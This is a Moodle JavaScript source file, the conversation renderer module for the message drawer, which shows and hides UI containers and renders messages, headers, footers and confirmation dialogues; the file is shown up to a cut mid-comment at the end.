Sindbad~EG File Manager
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* This module updates the UI for the conversation page in the message
* drawer.
*
* The module will take a patch from the message_drawer_view_conversation_patcher
* module and update the UI to reflect the changes.
*
* This is the only module that ever modifies the UI of the conversation page.
*
* @module core_message/message_drawer_view_conversation_renderer
* @copyright 2018 Ryan Wyllie <ryan@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
define(
[
'jquery',
'core/notification',
'core/str',
'core/templates',
'core/user_date',
'core_message/message_drawer_view_conversation_constants',
'core/aria',
],
function(
$,
Notification,
Str,
Templates,
UserDate,
Constants,
Aria
) {
var SELECTORS = Constants.SELECTORS;
var TEMPLATES = Constants.TEMPLATES;
var CONVERSATION_TYPES = Constants.CONVERSATION_TYPES;
/**
* Get the messages container element.
*
* @param {Object} body Conversation body container element.
* @return {Object} The messages container element.
*/
var getMessagesContainer = function(body) {
return body.find(SELECTORS.CONTENT_MESSAGES_CONTAINER);
};
/**
* Show the messages container element.
*
* @param {Object} body Conversation body container element.
*/
var showMessagesContainer = function(body) {
getMessagesContainer(body).removeClass('hidden');
};
/**
* Hide the messages container element.
*
* @param {Object} body Conversation body container element.
*/
var hideMessagesContainer = function(body) {
getMessagesContainer(body).addClass('hidden');
};
/**
* Get the self-conversation message container element.
*
* @param {Object} body Conversation body container element.
* @return {Object} The messages container element.
*/
var getSelfConversationMessageContainer = function(body) {
return body.find(SELECTORS.SELF_CONVERSATION_MESSAGE_CONTAINER);
};
/**
* Hide the self-conversation message container element.
*
* @param {Object} body Conversation body container element.
* @return {Object} The messages container element.
*/
var hideSelfConversationMessageContainer = function(body) {
return getSelfConversationMessageContainer(body).addClass('hidden');
};
/**
* Get the contact request sent container element.
*
* @param {Object} body Conversation body container element.
* @return {Object} The messages container element.
*/
var getContactRequestSentContainer = function(body) {
return body.find(SELECTORS.CONTACT_REQUEST_SENT_MESSAGE_CONTAINER);
};
/**
* Hide the contact request sent container element.
*
* @param {Object} body Conversation body container element.
* @return {Object} The messages container element.
*/
var hideContactRequestSentContainer = function(body) {
return getContactRequestSentContainer(body).addClass('hidden');
};
/**
* Get the footer container element.
*
* @param {Object} footer Conversation footer container element.
* @return {Object} The footer container element.
*/
var getFooterContentContainer = function(footer) {
return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_CONTAINER);
};
/**
* Show the footer container element.
*
* @param {Object} footer Conversation footer container element.
*/
var showFooterContent = function(footer) {
getFooterContentContainer(footer).removeClass('hidden');
};
/**
* Hide the footer container element.
*
* @param {Object} footer Conversation footer container element.
*/
var hideFooterContent = function(footer) {
getFooterContentContainer(footer).addClass('hidden');
};
/**
* Get the footer edit mode container element.
*
* @param {Object} footer Conversation footer container element.
* @return {Object} The footer container element.
*/
var getFooterEditModeContainer = function(footer) {
return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_EDIT_MODE_CONTAINER);
};
/**
* Show the footer edit mode container element.
*
* @param {Object} footer Conversation footer container element.
*/
var showFooterEditMode = function(footer) {
getFooterEditModeContainer(footer).removeClass('hidden');
};
/**
* Hide the footer edit mode container element.
*
* @param {Object} footer Conversation footer container element.
*/
var hideFooterEditMode = function(footer) {
getFooterEditModeContainer(footer).addClass('hidden');
};
/**
* Get the footer placeholder.
*
* @param {Object} footer Conversation footer container element.
* @return {Object} The footer placeholder container element.
*/
var getFooterPlaceholderContainer = function(footer) {
return footer.find(SELECTORS.PLACEHOLDER_CONTAINER);
};
/**
* Show the footer placeholder
*
* @param {Object} footer Conversation footer container element.
*/
var showFooterPlaceholder = function(footer) {
getFooterPlaceholderContainer(footer).removeClass('hidden');
};
/**
* Hide the footer placeholder
*
* @param {Object} footer Conversation footer container element.
*/
var hideFooterPlaceholder = function(footer) {
getFooterPlaceholderContainer(footer).addClass('hidden');
};
/**
* Get the footer Require add as contact container element.
*
* @param {Object} footer Conversation footer container element.
* @return {Object} The footer Require add as contact container element.
*/
var getFooterRequireContactContainer = function(footer) {
return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_REQUIRE_CONTACT_CONTAINER);
};
/**
* Show the footer add as contact dialogue.
*
* @param {Object} footer Conversation footer container element.
*/
var showFooterRequireContact = function(footer) {
getFooterRequireContactContainer(footer).removeClass('hidden');
};
/**
* Hide the footer add as contact dialogue.
*
* @param {Object} footer Conversation footer container element.
*/
var hideFooterRequireContact = function(footer) {
getFooterRequireContactContainer(footer).addClass('hidden');
};
/**
* Get the footer Required to unblock contact container element.
*
* @param {Object} footer Conversation footer container element.
* @return {Object} The footer Required to unblock contact container element.
*/
var getFooterRequireUnblockContainer = function(footer) {
return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_REQUIRE_UNBLOCK_CONTAINER);
};
/**
* Show the footer Required to unblock contact container element.
*
* @param {Object} footer Conversation footer container element.
*/
var showFooterRequireUnblock = function(footer) {
getFooterRequireUnblockContainer(footer).removeClass('hidden');
};
/**
* Hide the footer Required to unblock contact container element.
*
* @param {Object} footer Conversation footer container element.
*/
var hideFooterRequireUnblock = function(footer) {
getFooterRequireUnblockContainer(footer).addClass('hidden');
};
/**
* Get the footer Unable to message contact container element.
*
* @param {Object} footer Conversation footer container element.
* @return {Object} The footer Unable to message contact container element.
*/
var getFooterUnableToMessageContainer = function(footer) {
return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_UNABLE_TO_MESSAGE_CONTAINER);
};
/**
* Show the footer Unable to message contact container element.
*
* @param {Object} footer Conversation footer container element.
*/
var showFooterUnableToMessage = function(footer) {
getFooterUnableToMessageContainer(footer).removeClass('hidden');
};
/**
* Hide the footer Unable to message contact container element.
*
* @param {Object} footer Conversation footer container element.
*/
var hideFooterUnableToMessage = function(footer) {
getFooterUnableToMessageContainer(footer).addClass('hidden');
};
/**
* Hide all header elements.
*
* @param {Object} header Conversation header container element.
*/
var hideAllHeaderElements = function(header) {
hideHeaderContent(header);
hideHeaderEditMode(header);
hideHeaderPlaceholder(header);
};
/**
* Hide all footer dialogues and messages.
*
* @param {Object} footer Conversation footer container element.
*/
var hideAllFooterElements = function(footer) {
hideFooterContent(footer);
hideFooterEditMode(footer);
hideFooterPlaceholder(footer);
hideFooterRequireContact(footer);
hideFooterRequireUnblock(footer);
hideFooterUnableToMessage(footer);
};
/**
* Get the content placeholder container element.
*
* @param {Object} body Conversation body container element.
* @return {Object} The body placeholder container element.
*/
var getContentPlaceholderContainer = function(body) {
return body.find(SELECTORS.CONTENT_PLACEHOLDER_CONTAINER);
};
/**
* Show the content placeholder.
*
* @param {Object} body Conversation body container element.
*/
var showContentPlaceholder = function(body) {
getContentPlaceholderContainer(body).removeClass('hidden');
};
/**
* Hide the content placeholder.
*
* @param {Object} body Conversation body container element.
*/
var hideContentPlaceholder = function(body) {
getContentPlaceholderContainer(body).addClass('hidden');
};
/**
* Get the header content container element.
*
* @param {Object} header Conversation header container element.
* @return {Object} The header content container element.
*/
var getHeaderContent = function(header) {
return header.find(SELECTORS.HEADER);
};
/**
* Show the header content.
*
* @param {Object} header Conversation header container element.
*/
var showHeaderContent = function(header) {
getHeaderContent(header).removeClass('hidden');
};
/**
* Hide the header content.
*
* @param {Object} header Conversation header container element.
*/
var hideHeaderContent = function(header) {
getHeaderContent(header).addClass('hidden');
};
/**
* Get the header edit mode container element.
*
* @param {Object} header Conversation header container element.
* @return {Object} The header content container element.
*/
var getHeaderEditMode = function(header) {
return header.find(SELECTORS.HEADER_EDIT_MODE);
};
/**
* Show the header edit mode container.
*
* @param {Object} header Conversation header container element.
*/
var showHeaderEditMode = function(header) {
getHeaderEditMode(header).removeClass('hidden');
};
/**
* Hide the header edit mode container.
*
* @param {Object} header Conversation header container element.
*/
var hideHeaderEditMode = function(header) {
getHeaderEditMode(header).addClass('hidden');
};
/**
* Get the header placeholder container element.
*
* @param {Object} header Conversation header container element.
* @return {Object} The header placeholder container element.
*/
var getHeaderPlaceholderContainer = function(header) {
return header.find(SELECTORS.HEADER_PLACEHOLDER_CONTAINER);
};
/**
* Show the header placeholder.
*
* @param {Object} header Conversation header container element.
*/
var showHeaderPlaceholder = function(header) {
getHeaderPlaceholderContainer(header).removeClass('hidden');
};
/**
* Hide the header placeholder.
*
* @param {Object} header Conversation header container element.
*/
var hideHeaderPlaceholder = function(header) {
getHeaderPlaceholderContainer(header).addClass('hidden');
};
/**
* Get the emoji picker container element.
*
* @param {Object} footer Conversation footer container element.
* @return {Object} The emoji picker container element.
*/
var getEmojiPickerContainer = function(footer) {
return footer.find(SELECTORS.EMOJI_PICKER_CONTAINER);
};
/**
* Get the emoji picker container element.
*
* @param {Object} footer Conversation footer container element.
* @return {Object} The emoji picker container element.
*/
var getEmojiAutoCompleteContainer = function(footer) {
return footer.find(SELECTORS.EMOJI_AUTO_COMPLETE_CONTAINER);
};
/**
* Get a message element.
*
* @param {Object} body Conversation body container element.
* @param {Number} messageId the Message id.
* @return {Object} A message element from the conversation.
*/
var getMessageElement = function(body, messageId) {
var messagesContainer = getMessagesContainer(body);
return messagesContainer.find('[data-message-id="' + messageId + '"]');
};
/**
* Get the day container element. The day container element holds a list of messages for that day.
*
* @param {Object} body Conversation body container element.
* @param {Number} dayTimeCreated Midnight timestamp for the day.
* @return {Object} jQuery object
*/
var getDayElement = function(body, dayTimeCreated) {
var messagesContainer = getMessagesContainer(body);
return messagesContainer.find('[data-day-id="' + dayTimeCreated + '"]');
};
/**
* Get the more messages loading icon container element.
*
* @param {Object} body Conversation body container element.
* @return {Object} The more messages loading container element.
*/
var getMoreMessagesLoadingIconContainer = function(body) {
return body.find(SELECTORS.MORE_MESSAGES_LOADING_ICON_CONTAINER);
};
/**
* Show the more messages loading icon.
*
* @param {Object} body Conversation body container element.
*/
var showMoreMessagesLoadingIcon = function(body) {
getMoreMessagesLoadingIconContainer(body).removeClass('hidden');
};
/**
* Hide the more messages loading icon.
*
* @param {Object} body Conversation body container element.
*/
var hideMoreMessagesLoadingIcon = function(body) {
getMoreMessagesLoadingIconContainer(body).addClass('hidden');
};
/**
* Get the confirm dialogue container element.
*
* @param {Object} root The container element to search.
* @return {Object} The confirm dialogue container element.
*/
var getConfirmDialogueContainer = function(root) {
return root.find(SELECTORS.CONFIRM_DIALOGUE_CONTAINER);
};
/**
* Show the confirm dialogue container element.
*
* @param {Object} root The container element containing a dialogue.
*/
var showConfirmDialogueContainer = function(root) {
var container = getConfirmDialogueContainer(root);
var siblings = container.siblings(':not(.hidden)');
Aria.hide(siblings.get());
siblings.attr('data-confirm-dialogue-hidden', true);
container.removeClass('hidden');
};
/**
* Hide the confirm dialogue container element.
*
* @param {Object} root The container element containing a dialogue.
*/
var hideConfirmDialogueContainer = function(root) {
var container = getConfirmDialogueContainer(root);
var siblings = container.siblings('[data-confirm-dialogue-hidden="true"]');
Aria.unhide(siblings.get());
siblings.removeAttr('data-confirm-dialogue-hidden');
container.addClass('hidden');
};
/**
* Set the number of selected messages.
*
* @param {Object} header The header container element.
* @param {Number} value The new number to display.
*/
var setMessagesSelectedCount = function(header, value) {
getHeaderEditMode(header).find(SELECTORS.MESSAGES_SELECTED_COUNT).text(value);
};
/**
* Format message for the mustache template, transform camelCase properties to lowercase properties.
*
* @param {Array} messages Array of message objects.
* @param {Object} datesCache Cache timestamps and their formatted date string.
* @return {Array} Messages formated for mustache template.
*/
var formatMessagesForTemplate = function(messages, datesCache) {
return messages.map(function(message) {
return {
id: message.id,
isread: message.isRead,
fromloggedinuser: message.fromLoggedInUser,
userfrom: message.userFrom,
text: message.text,
formattedtime: message.timeCreated ? datesCache[message.timeCreated] : null
};
});
};
/**
* Create rendering promises for each day containing messages.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Array} days Array of days containing messages.
* @param {Object} datesCache Cache timestamps and their formatted date string.
* @return {Promise} Days rendering promises.
*/
var renderAddDays = function(header, body, footer, days, datesCache) {
var messagesContainer = getMessagesContainer(body);
var daysRenderPromises = days.map(function(data) {
var timestampDate = new Date(data.value.timestamp * 1000);
return Templates.render(TEMPLATES.DAY, {
timestamp: data.value.timestamp,
currentyear: timestampDate.getFullYear() === (new Date()).getFullYear(),
messages: formatMessagesForTemplate(data.value.messages, datesCache)
});
});
return $.when.apply($, daysRenderPromises).then(function() {
// Wait until all of the rendering is done for each of the days
// to ensure they are added to the page in the correct order.
days.forEach(function(data, index) {
daysRenderPromises[index]
.then(function(html) {
if (data.before) {
var element = getDayElement(body, data.before.timestamp);
return $(html).insertBefore(element);
} else {
return messagesContainer.append(html);
}
})
.catch(function() {
// Fail silently.
});
});
return;
});
};
/**
* Add (more) messages to day containers.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Array} messages List of messages.
* @param {Object} datesCache Cache timestamps and their formatted date string.
* @return {Promise} Messages rendering promises.
*/
var renderAddMessages = function(header, body, footer, messages, datesCache) {
var messagesData = messages.map(function(data) {
return data.value;
});
var formattedMessages = formatMessagesForTemplate(messagesData, datesCache);
return Templates.render(TEMPLATES.MESSAGES, {messages: formattedMessages})
.then(function(html) {
var messageList = $(html);
messages.forEach(function(data) {
var messageHtml = messageList.find('[data-message-id="' + data.value.id + '"]');
if (data.before) {
var element = getMessageElement(body, data.before.id);
return messageHtml.insertBefore(element);
} else {
var dayContainer = getDayElement(body, data.day.timestamp);
var dayMessagesContainer = dayContainer.find(SELECTORS.DAY_MESSAGES_CONTAINER);
return dayMessagesContainer.append(messageHtml);
}
});
return;
});
};
/**
* Update existing messages.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Array} messages List of messages.
* @param {Object} datesCache Cache timestamps and their formatted date string.
*/
var renderUpdateMessages = function(header, body, footer, messages, datesCache) {
messages.forEach(function(message) {
var before = message.before;
var after = message.after;
var element = getMessageElement(body, before.id);
if (before.id != after.id) {
element.attr('data-message-id', after.id);
}
if (before.timeCreated != after.timeCreated) {
var formattedTime = datesCache[after.timeCreated];
element.find(SELECTORS.LOADING_ICON_CONTAINER).addClass('hidden');
element.find(SELECTORS.TIME_CREATED).text(formattedTime).removeClass('hidden');
}
if (before.sendState != after.sendState) {
var loading = element.find(SELECTORS.LOADING_ICON_CONTAINER);
var time = element.find(SELECTORS.TIME_CREATED);
var retry = element.find(SELECTORS.RETRY_SEND);
loading.addClass('hidden');
Aria.hide(loading.get());
time.addClass('hidden');
Aria.hide(time.get());
retry.addClass('hidden');
Aria.hide(retry.get());
element.removeClass('border border-danger');
switch (after.sendState) {
case 'pending':
loading.removeClass('hidden');
Aria.unhide(loading.get());
break;
case 'error':
retry.removeClass('hidden');
Aria.unhide(retry.get());
element.addClass('border border-danger');
break;
case 'sent':
time.removeClass('hidden');
Aria.unhide(time.get());
break;
}
}
if (before.text != after.text) {
element.find(SELECTORS.TEXT_CONTAINER).html(after.text);
}
if (before.errorMessage != after.errorMessage) {
var messageContainer = element.find(SELECTORS.ERROR_MESSAGE_CONTAINER);
var message = messageContainer.find(SELECTORS.ERROR_MESSAGE);
if (after.errorMessage) {
messageContainer.removeClass('hidden');
Aria.unhide(messageContainer.get());
message.text(after.errorMessage);
} else {
messageContainer.addClass('hidden');
Aria.unhide(messageContainer.get());
message.text('');
}
}
});
};
/**
* Remove days from conversation.
*
* @param {Object} body The body container element.
* @param {Array} days Array of days to be removed.
*/
var renderRemoveDays = function(body, days) {
days.forEach(function(data) {
getDayElement(body, data.timestamp).remove();
});
};
/**
* Remove messages from conversation.
*
* @param {Object} body The body container element.
* @param {Array} messages Array of messages to be removed.
*/
var renderRemoveMessages = function(body, messages) {
messages.forEach(function(data) {
getMessageElement(body, data.id).remove();
});
};
/**
* Render the full conversation base on input from the statemanager.
*
* This will pre-load all of the formatted timestamps for each message that
* needs to render to reduce the number of networks requests.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} data The conversation diff.
* @return {Object} jQuery promise.
*/
var renderConversation = function(header, body, footer, data) {
var renderingPromises = [];
var hasAddDays = data.days.add.length > 0;
var hasAddMessages = data.messages.add.length > 0;
var hasUpdateMessages = data.messages.update.length > 0;
var timestampsToFormat = [];
var datesCachePromise = $.Deferred().resolve({}).promise();
if (hasAddDays) {
// Search for all of the timeCreated values in all of the messages in all of
// the days that we need to render.
timestampsToFormat = timestampsToFormat.concat(data.days.add.reduce(function(carry, day) {
return carry.concat(day.value.messages.reduce(function(timestamps, message) {
if (message.timeCreated) {
timestamps.push(message.timeCreated);
}
return timestamps;
}, []));
}, []));
}
if (hasAddMessages) {
// Search for all of the timeCreated values in all of the messages that we
// need to render.
timestampsToFormat = timestampsToFormat.concat(data.messages.add.reduce(function(timestamps, message) {
if (message.value.timeCreated) {
timestamps.push(message.value.timeCreated);
}
return timestamps;
}, []));
}
if (hasUpdateMessages) {
timestampsToFormat = timestampsToFormat.concat(data.messages.update.reduce(function(timestamps, message) {
if (message.before.timeCreated != message.after.timeCreated) {
timestamps.push(message.after.timeCreated);
}
return timestamps;
}, []));
}
if (timestampsToFormat.length) {
// If we have timestamps then pre-load the formatted version of each of them
// in a single request to the server. This saves the templates doing multiple
// individual requests.
datesCachePromise = Str.get_string('strftimetime24', 'core_langconfig')
.then(function(format) {
var requests = timestampsToFormat.map(function(timestamp) {
return {
timestamp: timestamp,
format: format
};
});
return UserDate.get(requests);
})
.then(function(formattedTimes) {
return timestampsToFormat.reduce(function(carry, timestamp, index) {
carry[timestamp] = formattedTimes[index];
return carry;
}, {});
});
}
if (hasAddDays) {
renderingPromises.push(datesCachePromise.then(function(datesCache) {
return renderAddDays(header, body, footer, data.days.add, datesCache);
}));
}
if (hasAddMessages) {
renderingPromises.push(datesCachePromise.then(function(datesCache) {
return renderAddMessages(header, body, footer, data.messages.add, datesCache);
}));
}
if (hasUpdateMessages) {
renderingPromises.push(datesCachePromise.then(function(datesCache) {
return renderUpdateMessages(header, body, footer, data.messages.update, datesCache);
}));
}
if (data.days.remove.length > 0) {
renderRemoveDays(body, data.days.remove);
}
if (data.messages.remove.length > 0) {
renderRemoveMessages(body, data.messages.remove);
}
return $.when.apply($, renderingPromises);
};
/**
* Render the conversation header.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} data Data for header.
* @return {Object} jQuery promise
*/
var renderHeader = function(header, body, footer, data) {
var headerContainer = getHeaderContent(header);
var template = TEMPLATES.HEADER_PUBLIC;
data.context.showrouteback = (header.attr('data-from-panel') === "false");
if (data.type == CONVERSATION_TYPES.PRIVATE) {
template = data.showControls ? TEMPLATES.HEADER_PRIVATE : TEMPLATES.HEADER_PRIVATE_NO_CONTROLS;
} else if (data.type == CONVERSATION_TYPES.SELF) {
template = TEMPLATES.HEADER_SELF;
}
return Templates.render(template, data.context)
.then(function(html, js) {
Templates.replaceNodeContents(headerContainer, html, js);
return;
});
};
/**
* Render the conversation footer.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} data Data for footer.
* @return {Object} jQuery promise.
*/
var renderFooter = function(header, body, footer, data) {
hideAllFooterElements(footer);
switch (data.type) {
case 'placeholder':
return showFooterPlaceholder(footer);
case 'add-contact':
return Str.get_strings([
{
key: 'requirecontacttomessage',
component: 'core_message',
param: data.user.fullname
},
{
key: 'isnotinyourcontacts',
component: 'core_message',
param: data.user.fullname
}
])
.then(function(strings) {
var title = strings[1];
var text = strings[0];
var footerContainer = getFooterRequireContactContainer(footer);
footerContainer.find(SELECTORS.TITLE).text(title);
footerContainer.find(SELECTORS.TEXT).text(text);
showFooterRequireContact(footer);
return strings;
});
case 'edit-mode':
return showFooterEditMode(footer);
case 'content':
return showFooterContent(footer);
case 'unblock':
return showFooterRequireUnblock(footer);
case 'unable-to-message':
return showFooterUnableToMessage(footer);
}
return true;
};
/**
* Scroll to a message in the conversation.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Number} messageId Message id.
*/
var renderScrollToMessage = function(header, body, footer, messageId) {
var messagesContainer = getMessagesContainer(body);
var messageElement = getMessageElement(body, messageId);
var position = messageElement.position();
// Scroll the message container down to the top of the message element.
if (position) {
var scrollTop = messagesContainer.scrollTop() + position.top;
messagesContainer.scrollTop(scrollTop);
}
};
/**
* Hide or show the conversation header.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} isLoadingMembers Members loading.
*/
var renderLoadingMembers = function(header, body, footer, isLoadingMembers) {
if (isLoadingMembers) {
hideHeaderContent(header);
showHeaderPlaceholder(header);
} else {
showHeaderContent(header);
hideHeaderPlaceholder(header);
}
};
/**
* Hide or show loading conversation messages.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} isLoadingFirstMessages Messages loading.
*/
var renderLoadingFirstMessages = function(header, body, footer, isLoadingFirstMessages) {
if (isLoadingFirstMessages) {
hideMessagesContainer(body);
showContentPlaceholder(body);
} else {
showMessagesContainer(body);
hideContentPlaceholder(body);
}
};
/**
* Hide or show loading more messages.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} isLoading Messages loading.
*/
var renderLoadingMessages = function(header, body, footer, isLoading) {
if (isLoading) {
showMoreMessagesLoadingIcon(body);
} else {
hideMoreMessagesLoadingIcon(body);
}
};
/**
* Hide or show the emoji picker.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} show Should the emoji picker be visible.
*/
var renderShowEmojiPicker = function(header, body, footer, show) {
var container = getEmojiPickerContainer(footer);
if (show) {
container.removeClass('hidden');
Aria.unhide(container.get());
container.find(SELECTORS.EMOJI_PICKER_SEARCH_INPUT).focus();
} else {
container.addClass('hidden');
Aria.hide(container.get());
}
};
/**
* Hide or show the emoji auto complete.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} show Should the emoji picker be visible.
*/
var renderShowEmojiAutoComplete = function(header, body, footer, show) {
var container = getEmojiAutoCompleteContainer(footer);
if (show) {
container.removeClass('hidden');
Aria.unhide(container.get());
} else {
container.addClass('hidden');
Aria.hide(container.get());
}
};
/**
* Show a confirmation dialogue
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {String} buttonSelectors Selectors for the buttons to show.
* @param {String} bodyText Text to show in dialogue.
* @param {String} headerText Text to show in dialogue header.
* @param {Bool} canCancel Can this dialogue be cancelled.
* @param {Bool} skipHeader Skip blanking out the header
* @param {Bool} showOk Show an 'Okay' button for a dialogue which will close it
*/
var showConfirmDialogue = function(
header,
body,
footer,
buttonSelectors,
bodyText,
headerText,
canCancel,
skipHeader,
showOk
) {
var dialogue = getConfirmDialogueContainer(body);
var buttons = buttonSelectors.map(function(selector) {
return dialogue.find(selector);
});
var cancelButton = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_CANCEL_BUTTON);
var okayButton = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_OKAY_BUTTON);
var text = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_TEXT);
var dialogueHeader = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_HEADER);
dialogue.find('button').addClass('hidden');
if (canCancel) {
cancelButton.removeClass('hidden');
} else {
cancelButton.addClass('hidden');
}
if (showOk) {
okayButton.removeClass('hidden');
} else {
okayButton.addClass('hidden');
}
if (headerText) {
// Create the dialogue header.
dialogueHeader = $('<h3 class="h6" data-region="dialogue-header"></h3>');
dialogueHeader.text(headerText);
// Prepend it to the confirmation body.
var confirmDialogue = dialogue.find(SELECTORS.CONFIRM_DIALOGUE);
confirmDialogue.prepend(dialogueHeader);
} else if (dialogueHeader.length) {
// Header text is empty but dialogue header is present, so remove it.
dialogueHeader.remove();
}
buttons.forEach(function(button) {
button.removeClass('hidden');
});
text.text(bodyText);
showConfirmDialogueContainer(footer);
showConfirmDialogueContainer(body);
if (!skipHeader) {
showConfirmDialogueContainer(header);
}
dialogue.find(SELECTORS.CAN_RECEIVE_FOCUS).filter(':visible').first().focus();
};
/**
* Hide the dialogue
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @return {Bool} always true.
*/
var hideConfirmDialogue = function(header, body, footer) {
var dialogue = getConfirmDialogueContainer(body);
var cancelButton = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_CANCEL_BUTTON);
var okayButton = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_OKAY_BUTTON);
var text = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_TEXT);
var dialogueHeader = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_HEADER);
hideCheckDeleteDialogue(body);
hideConfirmDialogueContainer(body);
hideConfirmDialogueContainer(footer);
hideConfirmDialogueContainer(header);
dialogue.find('button').addClass('hidden');
cancelButton.removeClass('hidden');
okayButton.removeClass('hidden');
text.text('');
// Remove dialogue header if present.
if (dialogueHeader.length) {
dialogueHeader.remove();
}
header.find(SELECTORS.CAN_RECEIVE_FOCUS).first().focus();
return true;
};
/**
* Render the confirm block user dialogue.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} user User to block.
* @return {Object} jQuery promise
*/
var renderConfirmBlockUser = function(header, body, footer, user) {
if (user) {
if (user.canmessageevenifblocked) {
return Str.get_string('cantblockuser', 'core_message', user.fullname)
.then(function(string) {
return showConfirmDialogue(header, body, footer, [], string, '', false, false, true);
});
} else {
return Str.get_string('blockuserconfirm', 'core_message', user.fullname)
.then(function(string) {
return showConfirmDialogue(header, body, footer, [SELECTORS.ACTION_CONFIRM_BLOCK], string, '', true, false);
});
}
} else {
return hideConfirmDialogue(header, body, footer);
}
};
/**
* Render the confirm unblock user dialogue.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} user User to unblock.
* @return {Object} jQuery promise
*/
var renderConfirmUnblockUser = function(header, body, footer, user) {
if (user) {
return Str.get_string('unblockuserconfirm', 'core_message', user.fullname)
.then(function(string) {
return showConfirmDialogue(header, body, footer, [SELECTORS.ACTION_CONFIRM_UNBLOCK], string, '', true, false);
});
} else {
return hideConfirmDialogue(header, body, footer);
}
};
/**
* Render the add user as contact dialogue.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} user User to add as contact.
* @return {Object} jQuery promise
*/
var renderConfirmAddContact = function(header, body, footer, user) {
if (user) {
return Str.get_string('addcontactconfirm', 'core_message', user.fullname)
.then(function(string) {
return showConfirmDialogue(
header,
body,
footer,
[SELECTORS.ACTION_CONFIRM_ADD_CONTACT],
string,
'',
true,
false
);
});
} else {
return hideConfirmDialogue(header, body, footer);
}
};
/**
* Render the remove user from contacts dialogue.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} user User to remove from contacts.
* @return {Object} jQuery promise
*/
var renderConfirmRemoveContact = function(header, body, footer, user) {
if (user) {
return Str.get_string('removecontactconfirm', 'core_message', user.fullname)
.then(function(string) {
return showConfirmDialogue(
header,
body,
footer,
[SELECTORS.ACTION_CONFIRM_REMOVE_CONTACT],
string,
'',
true,
false
);
});
} else {
return hideConfirmDialogue(header, body, footer);
}
};
/**
* Render the delete selected messages dialogue.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} data If the dialogue should show and checkbox shows to delete message for all users.
* @return {Object} jQuery promise
*/
var renderConfirmDeleteSelectedMessages = function(header, body, footer, data) {
var showmessage = null;
if (data.type == CONVERSATION_TYPES.SELF) {
// Message displayed to self-conversations is slighly different.
showmessage = 'deleteselectedmessagesconfirmselfconversation';
} else {
// This other message should be displayed.
if (data.canDeleteMessagesForAllUsers) {
showCheckDeleteDialogue(body);
showmessage = 'deleteforeveryoneselectedmessagesconfirm';
} else {
showmessage = 'deleteselectedmessagesconfirm';
}
}
if (data.show) {
return Str.get_string(showmessage, 'core_message')
.then(function(string) {
return showConfirmDialogue(
header,
body,
footer,
[SELECTORS.ACTION_CONFIRM_DELETE_SELECTED_MESSAGES],
string,
'',
true,
false
);
});
} else {
return hideConfirmDialogue(header, body, footer);
}
};
/**
* Render the confirm delete conversation dialogue.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {int|Null} type The conversation type to be removed.
* @return {Object} jQuery promise
*/
var renderConfirmDeleteConversation = function(header, body, footer, type) {
var showmessage = null;
if (type == CONVERSATION_TYPES.SELF) {
// Message displayed to self-conversations is slighly different.
showmessage = 'deleteallselfconfirm';
} else if (type) {
// This other message should be displayed.
showmessage = 'deleteallconfirm';
}
if (showmessage) {
return Str.get_string(showmessage, 'core_message')
.then(function(string) {
return showConfirmDialogue(
header,
body,
footer,
[SELECTORS.ACTION_CONFIRM_DELETE_CONVERSATION],
string,
'',
true,
false
);
});
} else {
return hideConfirmDialogue(header, body, footer);
}
};
/**
* Render the confirm delete conversation dialogue.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
